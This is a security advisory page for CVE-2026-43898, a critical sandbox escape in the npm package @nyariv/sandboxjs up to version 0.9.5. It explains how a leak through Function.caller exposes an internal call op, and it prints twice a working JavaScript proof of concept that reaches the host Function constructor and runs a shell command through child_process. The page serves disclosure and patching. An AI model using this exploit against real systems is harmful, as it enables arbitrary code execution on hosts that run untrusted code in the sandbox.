GHSA-G8F2-4F4F-5JQW

Vulnerability from github – Published: 2026-05-11 19:40 – Updated: 2026-05-13 15:25
VLAI
Summary
SandboxJS has a sandbox escape via Function.caller leakage of internal call op
Details

Summary

Sandbox-defined functions expose Function.caller, allowing sandboxed code to recover the internal LispType.Call runtime callback. That callback can then be invoked with attacker-controlled fake context and obj values to extract blocked host statics, recover the real host Function constructor, and execute arbitrary host JavaScript.

Details

The vulnerability is in the property access logic registered via addOps in prop.ts. Sandboxed code could access the caller, callee, and arguments properties on functions. In the CommonJS build, this allowed sandboxed code to read Function.caller and leak a privileged internal LispType.Call callback.

In executorUtils.ts createFunction() constructs normal host JS functions, and because these are ordinary host functions, sandbox code can observe:

function f(){ return f.caller }

That leaks the host-side callback that invoked the sandbox function. This leaked callback is the internal LispType.Call op, which is registered in call.ts. The escape was possible because the LispType.Call handler accepts a params object from the attacker and uses its fields without authenticating that they came from the executor. if you looked at those branches call.ts:47, call.ts:70, call.ts:149. This means the attacker controls obj.context, obj.prop, obj.get, context.evals.get and a. This can lead to direct invocation of an internal primitive with forged operands

PoC

const sandb = require('@nyariv/sandboxjs').default;
const sand = new sandb(); 

const payload = `
const callOp = (function fn() { return fn.caller; })();

function makeContext(capture = () => {}) {
  return { ctx: { options: 0 }, evals: { get: capture } };
}

function leakStatic(obj, prop) {
  let leaked;
  callOp({
    done() {},
    a() {},
    b: [],
    obj: { context: obj, prop, get() {} },
    context: makeContext((fn) => (leaked = fn, () => 1))
  });
  return leaked;
}

function callDirect(fn, args) {
  let value;
  callOp({
    done(_, result) { value = result; },
    a() {},
    b: args,
    obj: fn,
    context: makeContext()
  });
  return value;
}

callDirect(leakStatic(Object, 'defineProperty'), [
  leakStatic,
  'call',
  callDirect(leakStatic(Object, 'getOwnPropertyDescriptor'), [
    callDirect(leakStatic(Object, 'getPrototypeOf'), [() => 0]),
    'constructor'
  ])
]);

let hostFn;
callOp({
  done(_, result) { hostFn = result; },
  a: leakStatic,
  b: [],
  obj: {
    context: 'return process.getBuiltinModule("child_process").execSync("whoami").toString()',
    get() {}
  },
  context: makeContext()
});

return hostFn();
`;

console.log(sand.compile(payload)().run());

Impact

Sandbox escape leads to RCE

Severity
10.0 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.9.5"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@nyariv/sandboxjs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.9.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-43898"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-11T19:40:00Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "### Summary\nSandbox-defined functions expose `Function.caller`, allowing sandboxed code to recover the internal `LispType.Call` runtime callback. That callback can then be invoked with attacker-controlled fake context and obj values to extract blocked host statics, recover the real host Function constructor, and execute arbitrary host JavaScript.\n### Details\n\nThe vulnerability is in the property access logic registered via `addOps` in [prop.ts](https://github.com/nyariv/SandboxJS/blob/1e6785658c94f5f2fb8e4a02cfcf1e7821b8be7f/src/executor/ops/prop.ts#L10). Sandboxed code could access the `caller`, `callee`, and `arguments` properties on functions. In the CommonJS build, this allowed sandboxed code to read `Function.caller` and leak a privileged internal `LispType.Call` callback.\n\nIn [executorUtils.ts](https://github.com/nyariv/SandboxJS/blob/1e6785658c94f5f2fb8e4a02cfcf1e7821b8be7f/src/executor/executorUtils.ts#L239-L282) `createFunction()` constructs normal host JS functions, and because these are ordinary host functions, sandbox code can observe:\n```js\nfunction f(){ return f.caller }\n```\nThat leaks the host-side callback that invoked the sandbox function. This leaked callback is the internal `LispType.Call` op, which is registered in [call.ts](https://github.com/nyariv/SandboxJS/blob/1e6785658c94f5f2fb8e4a02cfcf1e7821b8be7f/src/executor/ops/call.ts#L16-L17). The escape was possible because the `LispType.Call` handler accepts a **params** object from the attacker and uses its fields without authenticating that they came from the executor. if you looked at those branches [call.ts:47](https://github.com/nyariv/SandboxJS/blob/1e6785658c94f5f2fb8e4a02cfcf1e7821b8be7f/src/executor/ops/call.ts#L47-L55), [call.ts:70](https://github.com/nyariv/SandboxJS/blob/1e6785658c94f5f2fb8e4a02cfcf1e7821b8be7f/src/executor/ops/call.ts#L70), [call.ts:149](https://github.com/nyariv/SandboxJS/blob/1e6785658c94f5f2fb8e4a02cfcf1e7821b8be7f/src/executor/ops/call.ts#L149-L153). This means the attacker controls `obj.context`, `obj.prop`, `obj.get`, `context.evals.get` and `a`. This can lead to direct invocation of an internal primitive with forged operands\n\n### PoC\n```js\nconst sandb = require(\u0027@nyariv/sandboxjs\u0027).default;\nconst sand = new sandb(); \n\nconst payload = `\nconst callOp = (function fn() { return fn.caller; })();\n\nfunction makeContext(capture = () =\u003e {}) {\n  return { ctx: { options: 0 }, evals: { get: capture } };\n}\n\nfunction leakStatic(obj, prop) {\n  let leaked;\n  callOp({\n    done() {},\n    a() {},\n    b: [],\n    obj: { context: obj, prop, get() {} },\n    context: makeContext((fn) =\u003e (leaked = fn, () =\u003e 1))\n  });\n  return leaked;\n}\n\nfunction callDirect(fn, args) {\n  let value;\n  callOp({\n    done(_, result) { value = result; },\n    a() {},\n    b: args,\n    obj: fn,\n    context: makeContext()\n  });\n  return value;\n}\n\ncallDirect(leakStatic(Object, \u0027defineProperty\u0027), [\n  leakStatic,\n  \u0027call\u0027,\n  callDirect(leakStatic(Object, \u0027getOwnPropertyDescriptor\u0027), [\n    callDirect(leakStatic(Object, \u0027getPrototypeOf\u0027), [() =\u003e 0]),\n    \u0027constructor\u0027\n  ])\n]);\n\nlet hostFn;\ncallOp({\n  done(_, result) { hostFn = result; },\n  a: leakStatic,\n  b: [],\n  obj: {\n    context: \u0027return process.getBuiltinModule(\"child_process\").execSync(\"whoami\").toString()\u0027,\n    get() {}\n  },\n  context: makeContext()\n});\n\nreturn hostFn();\n`;\n\nconsole.log(sand.compile(payload)().run());\n```\n### Impact\n_Sandbox escape leads to RCE_",
  "id": "GHSA-g8f2-4f4f-5jqw",
  "modified": "2026-05-13T15:25:58Z",
  "published": "2026-05-11T19:40:00Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nyariv/SandboxJS/security/advisories/GHSA-g8f2-4f4f-5jqw"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nyariv/SandboxJS/commit/826865251232611ec94078bab5a18ec875dad4a5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nyariv/SandboxJS"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "SandboxJS has a sandbox escape via Function.caller leakage of internal call op"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.





Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Detection rules are retrieved from Rulezet.